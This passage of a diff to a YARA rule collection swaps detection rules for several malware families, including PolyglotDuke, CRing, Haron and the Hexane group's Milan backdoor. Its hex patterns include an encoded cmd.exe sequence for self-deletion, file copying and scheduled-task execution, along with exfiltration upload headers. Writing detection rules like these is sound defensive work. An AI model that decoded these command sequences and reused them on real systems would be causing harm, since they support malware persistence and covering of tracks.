3a 20 25 73 0d 0a 43 6f 6e 74 65 6e 74 2d 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 25 73 } + $s2 = { 70 72 6f 63 3a 20 20 25 64 20 25 73 0a 6c 6f 67 69 6e 3a 20 25 73 5c 25 73 0a 49 44 3a 20 20 20 20 30 78 25 30 38 58 0a 68 6f 73 74 3a 20 20 25 73 3a 25 64 0a 6d 65 74 68 3a 20 20 25 73 20 25 64 0a 70 69 70 65 3a 20 5c 5c 25 73 5c 70 69 70 65 5c 25 73 0a 6c 61 6e 67 3a 20 20 25 73 0a 64 65 6c 61 79 3a 20 25 64 } + $s3 = { 75 70 74 69 6d 65 20 25 35 64 2e 25 30 32 64 68 0a 00 25 73 3a 25 64 00 25 73 5c 25 73 00 3f 00 25 64 20 25 73 0a 25 73 20 25 73 20 25 73 } + $s4 = { 55 89 e5 83 ec 14 6a 02 ff 15 b8 53 44 00 e8 fd fe ff ff 8d b6 00 00 00 00 8d bc 27 00 00 00 00 55 89 e5 83 ec 14 6a 01 ff 15 } + $s5 = { 8b 85 54 64 ff ff 8b 95 44 64 ff ff 83 c2 44 89 44 24 04 89 14 24 e8 a4 e5 fc ff 83 ec 08 8b 85 44 64 ff ff 83 c0 38 c7 44 24 08 0c 00 00 00 c7 44 24 04 00 00 00 00 89 04 24 e8 8c e8 fd ff 8b 85 44 64 ff ff c7 40 38 0c 00 00 00 8b 85 44 64 ff ff c7 40 40 01 00 00 00 8b 85 44 64 ff ff c7 40 3c 00 00 00 00 8b 85 44 64 ff ff 8d 58 38 8b 85 44 64 ff ff 8d 50 1c 8b 85 44 64 ff ff 83 c0 18 c7 44 24 0c 00 40 00 00 89 5c 24 08 89 54 24 04 89 04 24 e8 2e e5 fc ff 83 ec 10 85 c0 0f 95 c0 84 c0 0f 84 09 05 00 00 8b 85 44 64 ff ff 8d 58 38 8b 85 44 64 ff ff 8d 50 24 8b 85 44 64 ff ff 83 c0 20 c7 44 24 0c 00 40 00 00 89 5c 24 08 89 54 24 04 89 04 24 e8 eb e4 fc ff 83 ec 10 85 c0 0f 95 c0 84 c0 } condition: - uint16( 0 ) == 0x5a4d and filesize > 60KB and 4 of ( $seq* ) + uint16( 0 ) == 0x5a4d and filesize > 150KB and 3 of them } -rule ARKBIRD_SOLG_Exp_Underminer_Apr_2021_1 : FILE +rule ARKBIRD_SOLG_APT_APT29_Polyglotduke_Mar_2021_1 : FILE { meta: - description = "Detect Underminer exploit kit" + description = "Detect PolyglotDuke implant used by APT29 group" author = "Arkbird_SOLG" - id = "bd2a6b30-e05a-5f90-8dc2-719c1ba48a61" - date = "2021-04-14" - modified = "2021-04-15" - reference = "https://twitter.com/nao_sec/status/1382358986813415427" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-04-14/Underminer/Exp_Underminer_Apr_2021_1.yar#L1-L20" + id = "751e4f57-2c31-5cad-a794-e124b40c537b" + date = "2021-03-08" + modified = "2021-03-10" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-09/APT29/APT_APT29_PolyglotDuke_Mar_2021_1.yar#L1-L19" license_url = "N/A" - logic_hash = "46dd4d8ba58e79761056d3dd6921530520b0071090bcfc3bfaed7a6804f787b7" + logic_hash = "3a6d54fb266fe054886569c200f122b1e4459e0d561fe5246b623a19ec526224" score = 75 - quality = 63 + quality = 75 tags = "FILE" - hash1 = "172ac73cda6260918510ad2f4481a7fcd90c5a86d47dd880c5bcb3596dd20a7d" + hash1 = "9b33ec7f5e615a6556f147b611425d3ca4a8879ce746d4a8cb62adf4c7f76029" + hash2 = "0c39fce5bd32b4f91a1df4f6321c2f01c017195659c7e95a235ef71ca2865aa9" strings: - $s1 = { 6e 65 77 20 41 63 74 69 76 65 58 4f 62 6a 65 63 74 28 22 53 68 6f 63 6b 77 61 76 65 46 6c 61 73 68 2e 53 68 6f 63 6b 77 61 76 65 46 6c 61 73 68 22 29 } - $s2 = "$version" fullword ascii - $s3 = { 6e 61 76 69 67 61 74 6f 72 2e 70 6c 75 67 69 6e 73 26 26 6e 61 76 69 67 61 74 6f 72 2e 70 6c 75 67 69 6e 73 2e 6c 65 6e 67 74 68 3e 30 } - $s4 = { 6e 61 76 69 67 61 74 6f 72 2e 70 6c 75 67 69 6e 73 5b 22 53 68 6f 63 6b 77 61 76 65 20 46 6c 61 73 68 22 5d } - $s5 = { 63 6c 61 73 73 69 64 3d 27 63 6c 73 69 64 3a 44 32 37 43 44 42 36 45 2d 41 45 36 44 2d 31 31 63 66 2d 39 36 42 38 2d 34 34 34 35 35 33 35 34 30 30 30 30 27 } - $s6 = { 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 73 68 6f 63 6b 77 61 76 65 2d 66 6c 61 73 68 22 } - $s7 = { 22 64 61 74 61 22 2c 22 2f 6c 6f 67 6f 2e 73 77 66 22 } - $s8 = { 22 30 30 30 30 30 30 30 30 22 2b 28 [1-8] 5b 30 5d 3e 3e 3e 30 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 29 2e 73 6c 69 63 65 28 2d 38 29 2b 28 22 30 30 30 30 30 30 30 30 22 2b 28 [1-8] 5b 31 5d 3e 3e 3e 30 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 29 2e 73 6c 69 63 65 28 2d 38 29 } + $seq1 = { 48 83 ec 28 48 8b 05 [2] 02 00 48 33 05 [2] 02 00 74 02 ff d0 48 83 c4 28 c3 cc 48 83 ec 28 48 8b 05 [2] 02 00 48 33 05 [2] 02 00 74 02 ff d0 48 83 c4 28 c3 cc 4c 8b 15 [2] 02 00 41 8b c0 4c 33 15 [2] 02 00 74 03 49 ff e2 83 e0 01 4c 8b ca 41 83 e0 02 8b d0 48 ff 25 [2] 01 00 cc cc cc 4c 8b 15 [2] 02 00 4c 33 15 [2] 02 00 74 03 49 ff e2 48 ff 25 [2] 01 00 cc cc 48 83 ec 28 48 8b 05 [2] 02 00 48 33 05 [2] 02 00 74 07 48 83 c4 28 48 ff e0 b9 78 00 00 00 ff 15 [2] 01 00 32 c0 48 83 c4 28 c3 cc cc cc 48 8b 05 [2] 02 00 48 33 05 [2] 02 00 74 03 48 ff e0 33 c0 c3 cc cc 48 8b 05 [2] 02 00 48 33 05 [2] 02 00 74 03 48 ff e0 } + $seq2 = { 48 8b c4 48 89 58 08 48 89 68 10 48 89 70 18 48 89 78 20 41 57 48 83 ec 30 33 ff 48 8b da 48 8b f1 48 85 c9 75 18 e8 69 0c 00 00 bb 16 00 00 00 89 18 e8 b1 38 00 00 8b c3 e9 a7 00 00 00 48 85 d2 74 e3 e8 a8 3f 00 00 41 bf 01 00 00 00 85 c0 75 0c ff 15 [2] 01 00 85 c0 41 0f 44 ff 83 64 24 28 00 48 83 23 00 48 83 64 24 20 00 41 83 c9 ff 4c 8b c6 33 d2 8b cf ff 15 [2] 01 00 48 63 e8 85 c0 75 11 ff 15 [2] 01 00 8b c8 e8 b2 0b 00 00 33 c0 eb 4f 48 8b cd 48 03 c9 e8 e3 07 00 00 48 89 03 48 85 c0 74 e9 41 83 c9 ff 4c 8b c6 33 d2 8b cf 89 6c 24 28 48 89 44 24 20 ff 15 [2] 01 00 85 c0 75 1b ff 15 [2] 01 00 8b c8 e8 70 0b 00 00 48 8b 0b e8 ?? f3 ff ff 48 83 23 00 eb b0 41 8b c7 48 8b 5c 24 40 48 8b 6c 24 48 48 8b 74 24 50 48 8b 7c 24 58 48 83 c4 30 41 5f c3 48 8b c4 48 89 58 08 48 89 68 10 48 89 70 18 48 89 78 20 41 57 48 83 ec 40 33 ff 48 8b da 48 8b f1 } + $seq3 = { ff 25 00 00 00 00 00 00 00 00 00 00 00 00 cc } + $seq4 = "InitSvc" fullword ascii condition: - filesize > 5KB and 6 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 100KB and 3 of them } -rule ARKBIRD_SOLG_Ran_Mem_Ragnarlocker_Nov_2020_1 : FILE +rule ARKBIRD_SOLG_RAN_Cring_Apr_2021_1 : FILE { meta: - description = "Detect memory artefacts of the Ragnarlocker ransomware (Nov 2020)" + description = "Detect CRing ransomware" author = "Arkbird_SOLG" - id = "910774ab-9ad6-5c56-a921-203f61c9d7f7" - date = "2020-11-26" - modified = "2020-11-27" + id = "3648494d-8c27-5767-90e8-45e294aac382" + date = "2021-04-08" + modified = "2021-04-09" reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-27/Ran_RagnarLocker_Nov_2020_1.yar#L3-L33" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-04-08/CRing/RAN_CRing_Apr_2021_1.yara#L1-L19" license_url = "N/A" - logic_hash = "2cb26677b8f4e464750eb8dec0638fd3f9a28500e68f64d62e99236c93895c85" - score = 75 - quality = 50 + logic_hash = "d82db146c9048391d79bda6cc5913363fc3cfc1a7cca26b23b362b7f3563ef3c" + score = 50 + quality = 75 tags = "FILE" - hash1 = "041fd213326dd5c10a16caf88ff076bb98c68c052284430fba5f601023d39a14" - hash2 = "dd79b2abc21e766fe3076038482ded43e5069a1af9e0ad29e06dce387bfae900" + hash1 = "274ef2fba8ba46187f9cf462a02de286ea23ec75d163af01088f6856944817eb" + hash2 = "f7d270ca0f2b4d21830787431f881cd004b2eb102cc3048c6b4d69cb775511c8" + hash3 = "ebb528207b2fc06a6bc89e9d430bcdfe254f0838b0f4660f67cc6bd1ebc193be" + level = "Experimental" strings: - $s1 = "\\\\.\\PHYSICALDRIVE%d" fullword wide - $s2 = "bootfont.bin" fullword wide - $s3 = "bootsect.bak" fullword wide - $s4 = "bootmgr.efi" fullword wide - $s5 = "---RAGNAR SECRET---" fullword ascii - $s6 = "Mozilla" - $s7 = "Internet Explorer" fullword wide - $s8 = " </trustInfo>" fullword ascii - $s9 = "Tor browser" fullword wide - $s10 = "Opera Software" fullword wide - $s11 = "---END RAGN KEY---" fullword ascii - $s12 = "---BEGIN RAGN KEY---" fullword ascii - $s13 = "%s-%s-%s-%s-%s" fullword wide - $s14 = "$Recycle.Bin" fullword wide - $s15 = "***********************************************************************************" fullword ascii - $s16 = "K<^_[]" fullword ascii - $s17 = "SD;SDw" fullword ascii - $s18 = "Windows.old" fullword wide - $s19 = "iconcache.db" fullword wide + $str1 = { 1b 30 03 00 4a 00 00 00 03 00 00 11 02 73 23 00 00 0a 0a 06 6f 24 00 00 0a 2d 3a 02 72 [1-4] 00 00 70 28 25 00 00 0a 0b 72 [1-4] 00 00 70 02 28 25 00 00 0a 28 1a 00 00 0a 06 6f 26 00 00 0a 07 7e 01 00 00 04 28 05 00 00 06 2c 06 06 6f 27 00 00 0a de 03 26 de 00 2a 00 00 01 10 00 00 00 00 1b 00 2b 46 00 03 13 00 00 01 } + $str2 = { 1b 30 05 00 1a 01 00 00 04 00 00 11 16 0a 73 28 00 00 0a 0b 07 6f 29 00 00 0a 1e 5b 8d 2c 00 00 01 0c 07 6f 2a 00 00 0a 1e 5b 8d 2c 00 00 01 0d 73 2b 00 00 0a 13 06 11 06 08 6f 2c 00 00 0a 11 06 09 6f 2c 00 00 0a de 0c 11 06 2c 07 11 06 6f 12 00 00 0a dc 08 8e 69 09 8e 69 58 8d 2c 00 00 01 13 04 08 11 04 08 8e 69 28 2d 00 00 0a 09 16 11 04 08 8e 69 09 8e 69 28 2e 00 00 0a 11 04 04 28 06 00 00 06 13 04 11 04 8e 69 28 2f 00 00 0a 13 05 07 08 09 6f 30 00 00 0a 13 07 02 19 73 31 00 00 0a 13 08 03 18 73 31 00 00 0a 13 09 11 09 11 07 17 73 32 00 00 0a 13 0a 11 09 11 05 16 11 05 8e 69 6f 33 00 00 0a 11 09 11 04 16 11 04 8e 69 6f 33 00 00 0a 11 08 11 0a 20 [4] 6f 34 00 00 0a de 30 11 0a 2c 07 11 0a 6f 12 00 00 0a dc 11 09 2c 07 11 09 6f 12 00 00 0a dc 11 08 2c 07 11 08 6f 12 00 00 0a dc 11 07 2c 07 11 07 6f 12 00 00 0a dc 17 0a de 0a 07 2c 06 07 6f 12 00 00 0a dc 06 2a 00 00 41 94 00 00 02 00 00 00 2b 00 00 00 12 00 00 00 3d 00 00 00 0c 00 00 00 00 00 00 00 02 00 00 00 ae 00 00 00 2c 00 00 00 da 00 00 00 0c 00 00 00 00 00 00 00 02 00 00 00 a2 00 00 00 44 00 00 00 e6 00 00 00 0c 00 00 00 00 00 00 00 02 00 00 00 99 00 00 00 59 00 00 00 f2 00 00 00 0c 00 00 00 00 00 00 00 02 00 00 00 90 00 00 00 6e 00 00 00 fe 00 00 00 0c 00 00 00 00 00 00 00 02 00 00 00 08 00 00 00 06 01 00 00 0e 01 00 00 0a 00 00 00 00 00 00 00 } + $str3 = { 1b 30 03 00 24 00 00 00 05 00 00 11 73 35 00 00 0a 0a 06 03 6f 36 00 00 0a 06 02 17 6f 37 00 00 0a 0b de 0a 06 2c 06 06 6f 12 00 00 0a dc 07 2a 01 10 00 00 02 00 06 00 12 18 00 0a 00 00 00 00 } condition: - uint16( 0 ) == 0x5a4d and filesize > 30KB and 12 of them + uint16( 0 ) == 0x5a4d and filesize > 5KB and 2 of them } - -rule ARKBIRD_SOLG_Ran_Cert_Ragnarlocker_Nov_2020_1 : FILE +rule ARKBIRD_SOLG_RAN_Haron_Aug_2021_1 : FILE { meta: - description = "Detect certificates and VMProtect used for the Ragnarlocker ransomware (Nov 2020)" + description = "Detect Haron locker" author = "Arkbird_SOLG" - id = "85d51804-eebd-5353-8bd9-01756e7f7d07" - date = "2020-11-26" - modified = "2020-11-27" + id = "5900ad0e-66ca-5127-b8c2-cc23ace8929f" + date = "2021-08-09" + modified = "2021-08-09" reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-27/Ran_RagnarLocker_Nov_2020_1.yar#L35-L55" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-09/RAN_Haron_Aug_2021_1.yara#L1-L22" license_url = "N/A" - logic_hash = "8171128426b48102457f5ba0771b27aaf5f4562293aff04c256bd5bd721a908e" - score = 50 + logic_hash = "5001041d9bb8acc0fa5e0e3b4cfacc5a891bed6885101ae3513b5524c91c572d" + score = 75 quality = 75 tags = "FILE" - level = "Experimental" - hash1 = "afab912c41c920c867f1b2ada34114b22dcc9c5f3666edbfc4e9936c29a17a68" - hash2 = "9416e5a57e6de00c685560fa9fee761126569d123f62060792bf2049ebba4151" + hash1 = "66ed5384220ff3091903e14a54849f824fdd13ac70dc4e0127eb59c1de801fc2" + hash2 = "6e6b78a1df17d6718daa857827a2a364b7627d9bfd6672406ad72b276014209c" + tlp = "white" + adversary = "Haron" strings: - $vmp0 = { 2E 76 6D 70 30 00 00 00 } - $vmp1 = { 2E 76 6D 70 31 00 00 00 } + $s1 = { 02 17 8d ?? 00 00 01 [2] 16 20 [2] 00 00 20 00 ?? 00 00 [1-5] 73 [2] 01 00 0a a2 ?? 7d ?? 01 00 0a } + $s2 = { 03 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 28 ?? 00 00 06 } + $s3 = { 1f 38 16 02 28 ?? 01 00 0a 16 9a 6f ?? 01 00 0a b8 28 ?? 00 00 06 13 07 7e ?? 01 00 0a 13 0b 11 07 11 0b 11 06 6e 1f 60 6a d7 88 20 00 30 00 00 1f 40 28 ?? 00 00 06 28 ?? 01 00 0a b8 13 08 11 07 02 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 28 ?? 00 00 06 28 ?? 01 00 0a b8 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 28 ?? 00 00 06 84 b8 13 09 11 07 02 7e } + $s4 = { 1f 18 02 28 ?? 01 00 0a 16 9a 6f ?? 01 00 0a b8 28 ?? 00 00 06 0a 7e ?? 01 00 0a 0b 06 07 28 ?? 01 00 0a 0c 08 2c 04 07 0d 2b 6f 12 04 fe 15 ?? 00 00 02 12 04 11 04 28 ?? 00 00 2b b8 7d ?? 00 00 04 06 12 04 28 ?? 00 00 06 0c 08 2c 4a 12 04 7c ?? 00 00 04 28 ?? 01 00 0a 20 ff ff ff 7f 6a fe 02 16 fe 01 13 05 11 05 2c 17 03 12 04 7b ?? 00 00 04 17 28 ?? 01 00 0a 16 fe 01 13 06 11 06 2d 0c 06 12 04 28 ?? 00 00 06 2d c2 2b 0a 12 04 7b ?? 00 00 04 0d 09 2a 07 0d 09 2a } + $s5 = { 28 0e 00 00 0a 0b 16 0c 38 84 01 00 00 07 08 9a 0a 06 6f ?? 01 00 0a 20 00 00 80 0c 6a 3e 66 01 00 00 06 6f 0d 00 00 0a 28 0c 00 00 0a 6f 0d 00 00 0a 28 21 00 00 0a 39 4c 01 00 00 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 3a 2d 01 00 00 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 3a 0e 01 00 00 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 3a ef 00 00 00 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 3a d0 00 00 00 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 3a b1 00 00 00 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 3a 92 00 00 00 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 2d 76 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 2d 5a 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 2d 3e 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 2d 22 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 2d 06 06 6f 26 00 00 0a de 03 26 de 00 08 17 58 0c 08 07 8e 69 3f 73 fe ff ff 20 c4 09 00 00 28 18 00 00 0a dd 57 fe ff ff 26 dd 51 fe ff ff } + $s6 = { 7e ?? 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 28 09 00 00 06 6f [2] 00 0a 0a 06 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 28 09 00 00 06 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f [2] 00 0a 06 6f ?? 00 00 0a de 03 26 de 00 2a } + $s7 = { 28 ?? 00 00 06 0a 02 06 28 ?? 00 00 06 0b 07 6f [2] 00 0a 16 16 17 20 ff 0f 1f 00 17 14 73 [2] 00 0a 16 14 73 [2] 00 0a 6f [2] 00 0a 02 06 07 28 ?? 00 00 06 de 03 26 de 00 2a 00 00 00 } condition: - uint16( 0 ) == 0x5a4d and filesize > 5000KB and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . issuer contains "GlobalSign" and pe.signatures [ i ] . serial == "68:65:29:4f:67:f0:c3:bb:2e:19:1f:75" ) and $vmp0 in ( 0x100 .. 0x300 ) and $vmp1 in ( 0x100 .. 0x300 ) + uint16( 0 ) == 0x5A4D and filesize > 25KB and 6 of ( $s* ) } rule ARKBIRD_SOLG_RAN_PYSA_Sept_2021_1 : FILE { @@ -156360,1037 +155852,1170 @@ rule ARKBIRD_SOLG_UNK_DEV_0322_Jul_2021_1 : CVE_2021_35211 FILE condition: filesize > 1KB and filesize < 15KB and all of ( $obj* ) and all of ( $arg* ) and 3 of ( $s* ) } -rule ARKBIRD_SOLG_APT_Turla_Ironpython_Apr_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_Milan_Aug_2021_1 : FILE { meta: - description = "Detect IronPython script used by Turla group" + description = "Detect Milian backdoor used by Hexane group (aka Siamesekitten)" author = "Arkbird_SOLG" - id = "303929d4-2c43-5e43-aeb0-09f469f7091b" - date = "2021-04-30" - modified = "2021-05-01" - reference = "https://twitter.com/DrunkBinary/status/1388332507695919104" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-01/Turla/APT_Turla_IronPython_Apr_2021_1.yara#L1-L26" + id = "34acac5a-6090-5a68-9afb-4da7073bed58" + date = "2021-08-18" + modified = "2021-08-19" + reference = "https://www.clearskysec.com/siamesekitten/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-19/Hexane/MAL_Milan_Aug_2021_1.yara#L1-L22" license_url = "N/A" - logic_hash = "f6b626cddb4832f842a15eddce705fb24125e4341c425cf27dbbe537e2a98bdc" + logic_hash = "bad8ae2a9275bcb6e0e903fda6a128a1bed676c8e1a8e653e9fc3467766ce7fc" score = 75 - quality = 57 + quality = 75 tags = "FILE" - hash1 = "65b43e30547ae4066229040c9056aa9243145b9ae5f3b9d0a01a5068ef9a0361" - hash2 = "c430ebab4bf827303bc4ad95d40eecc7988bdc17cc139c8f88466bc536755d4e" - hash3 = "f76257749792cc4e54f75d0e7a83e7a4429395c5dbc48078a8068575d7e9a98" + hash1 = "b46949feeda8726c0fb86d3cd32d3f3f53f6d2e6e3fcd6f893a76b8b2632b249" + hash2 = "4f1b8c9209fa2684aa3777353222ad1c7716910dbb615d96ffc7882eb81dd248" tlp = "White" - adversary = "Turla" + adversary = "Hexane" strings: - $s1 = { 6c 61 6d 62 64 61 20 73 2c 6b 3a 27 27 2e 6a 6f 69 6e 28 5b 63 68 72 28 28 6f 72 64 28 63 29 5e 6b 29 25 30 78 31 30 30 29 20 66 6f 72 20 63 20 69 6e 20 73 5d 29 } - $s2 = { 66 72 6f 6d 20 53 79 73 74 65 6d 2e 53 65 63 75 72 69 74 79 2e 43 72 79 70 74 6f 67 72 61 70 68 79 20 69 6d 70 6f 72 74 2a } - $s3 = { 52 69 6a 6e 64 61 65 6c 4d 61 6e 61 67 65 64 28 4b 65 79 53 69 7a 65 3d 31 32 38 2c 42 6c 6f 63 6b 53 69 7a 65 3d 31 32 38 29 } - $s4 = { 72 65 74 75 72 6e 20 53 79 73 74 65 6d 2e 41 72 72 61 79 5b 53 79 73 74 65 6d 2e 42 79 74 65 5d 28 5b 6f 72 64 28 78 29 66 6f 72 20 78 20 69 6e 20 6c 69 73 74 28 73 74 72 29 5d 29 } - $s5 = { 53 79 73 74 65 6d 2e 41 72 72 61 79 2e 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 28 53 79 73 74 65 6d 2e 42 79 74 65 2c [10-12] 2e 4c 65 6e 67 74 68 29 } - $s6 = { 28 62 61 73 65 36 34 2e 62 36 34 64 65 63 6f 64 65 28 [4-10] 5b 31 36 3a 5d 29 2c 73 79 73 2e 61 72 67 76 5b 31 5d 2c [4-10] 5b 3a 31 36 5d 2c } - $s7 = { 41 73 73 65 6d 62 6c 79 2e 4c 6f 61 64 28 } - $s8 = { 20 69 66 20 6c 65 6e 28 73 79 73 2e 61 72 67 76 29 21 3d 32 3a } - $s9 = { 65 78 63 65 70 74 20 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 45 78 63 65 70 74 69 6f 6e 20 61 73 20 65 78 3a } - $s10 = { 69 66 20 5f 5f 6e 61 6d 65 5f 5f 3d 3d } - $s11 = { 2e 66 6f 72 6d 61 74 28 65 78 2e 4d 65 73 73 61 67 65 2c 65 78 2e 53 74 61 63 6b 54 72 61 63 65 29 29 } + $c1 = { 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 43 00 20 00 70 00 69 00 6e 00 67 00 20 00 [2-6] 2e 00 [2-6] 2e 00 [2-6] 2e 00 [2-6] 20 00 2d 00 6e 00 20 00 31 00 20 00 2d 00 77 00 20 00 [2-8] 20 00 3e 00 20 00 4e 00 75 00 6c 00 20 00 26 00 20 00 64 00 65 00 6c 00 20 00 2f 00 66 00 20 00 2f 00 71 00 20 00 22 00 25 00 73 00 22 00 20 00 26 00 20 00 77 00 61 00 69 00 74 00 66 00 6f 00 72 00 20 00 61 00 20 00 34 00 20 00 26 00 20 00 63 00 6f 00 70 00 79 00 20 00 22 00 25 00 73 00 22 00 20 00 22 00 25 00 73 00 22 00 20 00 20 00 26 00 20 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 52 00 75 00 6e 00 20 00 2f 00 54 00 4e 00 20 00 22 } + $c2 = { 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 43 00 20 00 70 00 69 00 6e 00 67 00 20 00 [2-6] 2e 00 [2-6] 2e 00 [2-6] 2e 00 [2-6] 20 00 2d 00 6e 00 20 00 31 00 20 00 2d 00 77 00 20 00 [2-8] 20 00 3e 00 20 00 4e 00 75 00 6c 00 20 00 26 00 20 00 72 00 6d 00 64 00 69 00 72 00 20 00 2f 00 73 00 20 00 2f 00 71 00 20 00 22 00 25 00 73 00 22 00 20 00 26 00 20 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 2f 00 74 00 6e } + $s1 = { 2d 2d 2d 2d 2d 2d [1-8] 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 6e 61 6d 65 3d 22 25 73 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 25 73 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f } + $s2 = { 5b 00 25 00 64 00 3a 00 25 00 64 00 3a 00 25 00 64 00 3a 00 25 00 64 00 28 00 25 00 64 00 29 00 5d } + $s3 = { 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2d 00 54 00 79 00 70 00 65 00 3a 00 20 00 6d 00 75 00 6c 00 74 00 69 00 70 00 61 00 72 00 74 00 2f 00 66 00 6f 00 72 00 6d 00 2d 00 64 00 61 00 74 00 61 00 3b 00 20 00 62 00 6f 00 75 00 6e 00 64 00 61 00 72 00 79 00 3d 00 2d 00 2d 00 2d 00 2d} + $s4 = { 8d 8d 7c ee ff ff 51 6a 00 6a 00 50 ff 15 ?? b2 4b 00 85 c0 0f 84 a9 0f 00 00 8d 85 e0 fb ff ff 50 e8 ?? e0 ff ff 59 50 8d 85 e0 fb ff ff 50 8d 4b 20 e8 [2] 00 00 6a 00 ff b5 94 ee ff ff 8d 85 e0 fb ff ff 50 ff 33 ff 15 ?? b2 4b 00 8b d0 89 95 e8 ee ff ff 85 d2 0f 84 65 0f 00 00 6a 02 5e 33 c9 b8 00 00 80 00 39 b5 88 ee ff ff 0f 44 c8 83 bd 94 ef ff ff 08 51 8d 85 80 ef ff ff 0f 43 85 80 ef ff ff 33 c9 51 51 51 ff b5 a8 ee ff ff 50 52 ff 15 ?? b2 4b 00 8b f0 89 b5 48 ef ff ff 85 f6 0f 84 fb 0e 00 00 80 7b 04 00 8b 3d ?? b2 4b 00 75 23 6a 02 58 39 85 88 ee ff ff 75 18 6a 04 8d 85 20 ef ff ff c7 85 20 ef ff ff 00 31 00 00 50 6a 1f 56 ff d7 c6 85 47 ef ff ff 00 33 c9 c7 85 f0 ee ff ff 18 00 00 00 8b c1 41 89 8d 20 ef ff ff 83 f8 03 0f 83 88 0e 00 00 83 bb d8 00 00 00 00 76 31 8d 83 c8 00 00 00 83 78 14 08 72 02 8b 00 68 00 00 00 01 ff b3 d8 00 00 00 50 56 ff 15 b8 b2 4b 00 85 c0 75 0c ff 15 40 b0 4b 00 89 83 f8 00 00 00 8d b3 a8 00 00 00 83 7e 10 00 76 7a 68 ?? b9 4c 00 8d 8d 98 ef ff ff e8 [2] 00 00 6a ff 33 c0 8d 8d 98 ef ff ff 6a 00 40 56 88 45 fc e8 [2] 00 00 83 bd ac ef ff ff 08 8d 85 98 ef ff ff 8b b5 48 ef ff ff 0f 43 85 98 ef ff ff 68 00 00 00 01 ff b5 a8 ef ff ff 50 56 ff 15 b8 b2 4b 00 85 c0 75 0c ff 15 40 b0 4b 00 89 83 f8 } + $s5 = { 6a 00 ff b5 40 ef ff ff ff b3 88 01 00 00 ff 15 30 b0 4b 00 50 57 6a ff 56 8b b5 48 ef ff ff 56 ff 15 ?? b2 4b 00 85 c0 0f 85 b2 02 00 00 8d bd 00 ef ff ff ab ab ab ab 8d 85 00 ef ff ff 50 ff 15 ?? b2 4b 00 85 c0 0f 84 74 02 00 00 8b 95 04 ef ff ff 85 d2 0f 84 4f 01 00 00 33 c0 8d bd b8 ee ff ff 6a 06 59 f3 ab 83 a5 c8 ee ff ff 00 8d bd f4 ee ff ff 83 a5 c4 ee ff ff 00 40 89 85 bc ee ff ff 89 85 cc ee ff ff 33 c0 ab c7 85 b8 ee ff ff 03 00 00 00 89 95 c0 ee ff ff ab ab 8d 43 08 83 } condition: - filesize > 100KB and 9 of ( $s* ) + uint16( 0 ) == 0x5A4D and filesize > 15KB and 1 of ( $c* ) and 4 of ( $s* ) } -rule ARKBIRD_SOLG_RAN_ELF_Darkside_Apr_2021_1 